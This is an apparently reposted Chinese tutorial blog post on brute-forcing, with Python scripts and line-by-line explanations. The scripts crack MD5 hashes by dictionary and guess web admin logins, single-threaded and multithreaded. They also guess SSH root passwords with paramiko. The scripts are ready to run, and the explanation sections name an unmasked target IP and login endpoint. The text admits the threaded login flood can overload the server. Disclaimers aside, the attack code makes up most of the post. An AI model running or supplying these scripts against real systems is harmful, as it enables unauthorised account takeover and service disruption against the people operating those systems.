《系统爆破:MD5易破,后台登录可爆破?》
声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
爆破Sales系统
一、爆破MD5 场景:已知MD5的加密字符串,如何得知明文?
解决方案:
算法碰撞:一串128位的MD5(32位16进制),其组合数量:2^128 字典碰撞:给定一个字典文件,读取里面的密钥明文,对其进行MD5加密,再和目标字符串进行对比,如果相同,则明文找到。
二、爆破后台
-
验证登录请求
-
已知用户名,爆破密码
-
未知用户名,未知密码爆破
三、爆破条件与防范
-
登录成功或失败的条件可验证
-
服务器端允许多次失败登录而不会禁止
基于md5爆破-源码
import hashlib
import threading
import time
import requests
# 爆破md5
def md5(source):
with open('字典/常见字典1000.txt') as file:
pw_list = file.readlines()
with open('字典/数字字母符号型1000+.txt') as file:
pw_list2 = file.readlines()
# 追加字典
pw_list.extend(pw_list2)
# 遍历列表,逐个对比
for password in pw_list:
if hashlib.md5(password.strip().encode()).hexdigest() == source:
print(f'成功破解,密码是:{password.strip()}')
# 爆破某后台——仅爆破密码
# 单线程爆破
def ws_single():
with open('字典/常见字典1000.txt') as file:
pw_list = file.readlines()
url = 'http://111.21.xxx.xxx:9090/login'
count = 0
for password in pw_list:
data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作
resp = requests.post(url=url, data=data)
if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
print(f'可能成功,密码为:{password.strip()}')
count += 1
print(f'共计尝试{count}次')
exit()
# 同时,由于多线程并发登录,导致服务器压力剧增(DOS),进而服务器的响应时间会显著变慢
# 爆破某后台——不知账号不知密码
# 多线程爆破
count = 0
def ws_thread(username):
with open('字典/常见弱口令字典1000.txt') as file:
pw_list = file.readlines()
url = 'http://111.21.xxx.xxx:9090/login'
global count
for password in pw_list:
data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作
resp = requests.post(url=url, data=data)
if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
exit()
count += 1
print(f'共计尝试{count}次')
# 如果用户字典有5000条怎么处理
if __name__ == '__main__':
# md5('cbb11ed87dc8a95d81400c7f33c7c171')
with open('字典/2017_top100.txt') as file:
user_list = file.readlines()
for username in user_list:
threading.Thread(target=ws_thread, args=(username.strip(),)).start()
基于md5爆破-源码
这段代码的主要目的是通过暴力破解的方式来尝试恢复MD5哈希值对应的明文密码,以及尝试登录到一个后台系统。以下是对代码的详细分析:
1. 导入必要的库
import hashlib
import threading
import time
import requests
-
hashlib
:用于计算MD5哈希值。 -
threading
:用于实现多线程,提高爆破效率。 -
time
:用于时间相关的操作(虽然在这个代码中没有使用)。 -
requests
:用于发送HTTP请求。
2. 爆破MD5
def md5(source):
with open('字典/常见弱口令字典1000.txt') as file:
pw_list = file.readlines()
with open('字典/数字字母符号型1000+.txt') as file:
pw_list2 = file.readlines()
pw_list.extend(pw_list2)
for password in pw_list:
if hashlib.md5(password.strip().encode()).hexdigest() == source:
print(f'成功破解,密码是:{password.strip()}')
-
读取两个字典文件中的密码列表。
-
将两个列表合并。
-
遍历每个密码,计算其MD5哈希值并与目标哈希值进行比较。
-
如果匹配成功,打印出密码。
3. 单线程爆破后台密码
def ws_single():
with open('字典/常见弱口令字典1000.txt') as file:
pw_list = file.readlines()
url = 'http://111.21.250.30:9090/login'
count = 0
for password in pw_list:
data = {'username': 'admin', 'password': password.strip(), 'rememberMe': 'false'}
resp = requests.post(url=url, data=data)
if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
print(f'可能成功,密码为:{password.strip()}')
count += 1
print(f'共计尝试{count}次')
exit()
-
读取密码字典。
-
对指定的URL发送POST请求,尝试登录。
-
如果响应中不包含错误信息,认为登录可能成功。
-
统计尝试次数并退出。
4. 多线程爆破后台账号密码
count = 0
def ws_thread(username):
global count
with open('字典/常见弱口令字典1000.txt') as file:
pw_list = file.readlines()
url = 'http://111.21.250.30:9090/login'
for password in pw_list:
data = {'username': username, 'password': password.strip(), 'rememberMe': 'false'}
resp = requests.post(url=url, data=data)
if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
exit()
count += 1
print(f'共计尝试{count}次')
if __name__ == '__main__':
with open('字典/2017_top100.txt') as file:
user_list = file.readlines()
for username in user_list:
threading.Thread(target=ws_thread, args=(username.strip(),)).start()
-
读取用户名字典。
-
对每个用户名启动一个线程,尝试使用密码字典中的密码进行登录。
-
如果登录成功,打印出用户名和密码并退出。
-
使用全局变量
count
统计尝试次数。
注意事项和潜在问题
-
法律和道德问题:未经授权的暴力破解行为是违法的,可能会导致严重的法律后果。
-
性能问题:多线程爆破会显著增加服务器的压力,可能导致服务器响应变慢甚至崩溃。
-
安全性问题:代码中没有处理验证码等安全措施,实际应用中可能需要额外的处理。
-
错误处理:代码中没有对网络请求的异常进行处理,可能会导致程序崩溃。
改进建议
-
增加异常处理:对网络请求和其他可能出现的异常进行处理,提高程序的健壮性。
-
优化多线程:可以考虑使用线程池来管理线程,避免创建过多线程导致系统资源耗尽。
-
增加延迟:在每次请求之间增加适当的延迟,减少对服务器的压力。
-
处理验证码:如果目标系统有验证码,需要实现验证码的处理逻辑。
这段代码展示了暴力破解的基本思路,但在实际应用中需要非常谨慎,确保有合法的授权和充分的准备。
ssh多线程爆破—源码
import time
import requests
import threading
import hashlib
# 每个任务分10条
count = 0
def threads(sublist):
with open('字典/常见弱口令字典1000.txt') as file:
pw_list = file.readlines()
url = 'http://111.21.xxx.xxx:9090/login'
global count
for username in sublist:
for password in pw_list:
data = {'username': username.strip(), 'password': password.strip(), 'rememberMe': 'false'} # 有时有验证码,需要另外操作
resp = requests.post(url=url, data=data)
if '{"msg":"用户不存在/密码错误","code":500}' not in resp.text:
print(f'可能成功,账号为:{username.strip()}密码为:{password.strip()}')
count += 1
print(f'共计尝试{count}次')
exit()
# 爆破ssh
import paramiko
def ssh_creak():
with open('字典/2017_top100.txt') as file:
pw_list = file.readlines()
for password in pw_list:
try:
transport = paramiko.Transport(('192.168.xxx.xxx', 22))
transport.connect(username='root', password=password.strip())
print(f"请求登录,密码为:{password.strip()}")
except:
pass
time.sleep(2)
# ssh = paramiko.SSHException()
# ssh._transport = transport
if __name__ == '__main__':
# 每个线程负责10个用户
# with open('字典/常见字典1000.txt') as file:
# user_list = file.readlines()
# for i in range(0, len(user_list), 10):
# sublist = user_list[i:i + 10]
# threading.Thread(target=threads, args=(sublist,)).start()
ssh_creak()
ssh多线程爆破—源码解析
这段代码主要实现了两个功能:一是对指定URL的登录接口进行暴力破解尝试,二是尝试使用密码字典对SSH服务进行暴力破解。
一、登录接口暴力破解部分
- 全局变量与函数定义
-
定义了全局变量
count
用于计数尝试次数。 threads
函数接受一个用户名子列表作为参数。-
函数内部首先打开包含密码的字典文件
常见字典1000.txt
,读取其中的密码列表pw_list
。 -
设定目标登录接口的
url
为http://111.21.xxx.xxx:9090/login
。 - 对于子列表中的每个用户名,遍历密码列表。
-
构造包含用户名、密码和
rememberMe
字段(值为false
)的data
字典。 -
使用
requests.post
方法向目标url
发送登录请求。 -
如果响应文本中不包含表示用户不存在或密码错误的特定字符串
{"msg":"用户不存在/密码错误","code":500}
,则认为可能是正确的账号密码组合并打印出来。 -
每次尝试后
count
加1,并在处理完一个用户名的所有密码尝试后打印出总的尝试次数,然后退出程序。
-
-
-
- 多线程相关(被注释部分)
-
原本计划是读取用户名字典文件(如
常见字典1000.txt
),将用户名列表按每10个一组划分成子列表。 -
针对每个子列表启动一个线程,线程的目标函数为
threads
,并传入相应的子列表作为参数。
-
二、SSH暴力破解部分
ssh_creak
函数-
打开名为
2017_top100.txt
的密码字典文件,读取其中的密码列表pw_list
。 - 对于密码列表中的每个密码:
-
尝试使用
paramiko.Transport
建立到192.168.xxx.xxx
地址的SSH连接,端口为22,用户名固定为root
,密码为当前尝试的密码。 -
如果连接成功(即没有抛出异常),则打印出正在尝试的密码。
-
无论连接是否成功,都会暂停2秒(
time.sleep(2)
),这可能是为了避免过于频繁的连接尝试导致被目标主机封禁。
-
-
三、整体代码的问题与风险
- 效率问题
-
在登录接口暴力破解部分,每次处理完一个用户名就退出程序,这可能不是预期的行为,如果是多线程执行,这样会导致只有一个线程执行完就结束整个程序。
-
对于SSH暴力破解部分,没有使用多线程或多进程来加速尝试过程,在密码字典较大时效率会很低。
-
- 安全性与合规性问题
-
这种暴力破解行为如果没有得到目标系统的授权,是不道德且可能违反法律法规的行为。
-
在实际应用中,目标系统可能会有各种防护措施,如验证码、登录失败次数限制等,这段代码没有考虑这些情况。
-
四、改进建议
- 修复多线程逻辑
-
如果要使用多线程进行登录接口的暴力破解,应该修正线程启动部分的代码,确保所有线程都能正常执行而不是只执行一个就退出。
-
- 优化SSH暴力破解效率
-
可以考虑使用多线程或多进程来提高SSH密码尝试的速度,但要注意遵守法律法规和目标系统的使用规则。
-
- 增加防护措施应对机制
-
如果是在合法的安全测试场景下,应该增加代码来处理目标系统可能存在的验证码、登录失败次数限制等情况。
-
原文地址:https://blog.csdn.net/m0_74907475/article/details/145099773
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!